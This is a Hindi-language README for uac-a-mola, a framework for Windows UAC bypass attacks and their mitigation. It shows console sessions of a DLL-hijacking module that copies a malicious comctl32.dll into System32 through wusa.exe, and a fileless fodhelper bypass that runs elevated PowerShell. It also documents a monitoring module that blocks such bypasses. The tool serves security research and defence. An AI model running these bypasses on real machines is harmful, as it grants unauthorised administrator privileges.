
विंडोज UAC बायपास हमलों और शमन के लिए मॉड्यूलर फ्रेमवर्क, जिसमें DLL हाईजैकिंग, फ़ाइललेस निष्पादन, और विशेषाधिकार वृद्धि प्रयासों का पता लगाने और उन्हें अवरुद्ध करने के लिए रीयल-टाइम मॉनिटरिंग शामिल है।
uac-a-mola को स्थापित करने के लिए आपको निम्नलिखित क्रियाएं करनी होंगी:
pip install -r requirements.txt
Uac-a-mola अब उपयोग के लिए तैयार है! आप टाइप करके इसकी कार्यक्षमता का परीक्षण कर सकते हैं:
cd uacamola
python uacamola.py
यह एक संक्षिप्त अनुभाग है जो uac-a-mola के कुछ मॉड्यूल के उपयोग की व्याख्या करता है:
अटैक मॉड्यूल का उपयोग करना बहुत सरल है जिसमें शायद ही स्पष्टीकरण की आवश्यकता हो। आपको बस इतना करना है कि load कमांड का उपयोग करके फ्रेमवर्क में संबंधित मॉड्यूल लोड करें, आप show कमांड का उपयोग करके विकल्प या इनपुट पैरामीटर देख सकते हैं, run कमांड के साथ मॉड्यूल निष्पादित होता है:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
और दूसरा उदाहरण:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
माइटीगेशन विधियों का उपयोग करना भी काफी सरल है, लेकिन उनकी आंतरिक संरचना थोड़ी अधिक जटिल है जिसे इस अनुभाग में समझाया जाएगा। इसके उपयोग के संबंध में, पहली चीज जो की जानी चाहिए वह है उपलब्ध माइटीगेशन मॉड्यूल लोड करना:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
इस मामले में, हमें एक पासवर्ड सेट करने की आवश्यकता होगी जिसका उपयोग एजेंट uacamola फ्रेमवर्क में निष्पादित होने वाले लिसनर के साथ संवाद करने के लिए करेंगे। हम एजेंटों को पथ uacamola/support/agents में पा सकते हैं, उन फ़ाइलों को खोलने पर हम पासवर्ड देख सकते हैं:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola प्रमाणीकरण और संचार के लिए उपयोग किया जाने वाला पासवर्ड होगा, लेकिन हम इसे बदल सकते हैं। दूसरा आवश्यक पैरामीटर एक फ़ाइल का पथ है जिसमें निगरानी के लिए बाइनरी की सूची होती है, इन बाइनरी के पास एजेंट पथों में एक agent.pyw फ़ाइल होनी चाहिए।
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
बस इन फ़ील्ड्स को भरकर और run कमांड निष्पादित करके, uacamola सूची में दिखाई देने वाली बाइनरी में UAC बायपास से संबंधित सभी गतिविधियों की निगरानी शुरू कर देगा। यदि खतरनाक गतिविधि का पता चलता है, तो यह स्वचालित रूप से खतरनाक शाखा (फ़ाइल सिस्टम या रजिस्ट्री की) को हटा देगा और बाइनरी को सुरक्षित तरीके से निष्पादित करेगा। इस मोड से बाहर निकलने के लिए हमें बस ENTER कुंजी दबानी होगी।
कृपया कोई भी त्रुटि [email protected] पर रिपोर्ट करें या GitHub में एक issue खोलें। आपका सहयोग सराहनीय है!
सॉफ्टवेयर "जैसा है" प्रदान किया जाता है, किसी भी प्रकार की वारंटी के बिना, स्पष्ट या निहित, जिसमें व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन न होने की वारंटी शामिल है लेकिन इन्हीं तक सीमित नहीं है। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य देयता के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध के कार्य, अपकृत्य या अन्यथा से उत्पन्न हो, सॉफ्टवेयर से या सॉफ्टवेयर के उपयोग या अन्य लेन-देन से संबंधित हो। जब भी आप किसी लाइसेंस की सूचना वाले रिपॉजिटरी में योगदान करते हैं, तो आप अपने योगदान को उन्हीं शर्तों के तहत लाइसेंस देते हैं, और आप सहमत होते हैं कि आपके पास उन शर्तों के तहत अपने योगदान को लाइसेंस देने का अधिकार है। यदि आपके पास अपने योगदान को अलग शर्तों पर लाइसेंस देने के लिए एक अलग समझौता है, जैसे कि योगदानकर्ता लाइसेंस समझौता, तो वह समझौता प्रबल होगा।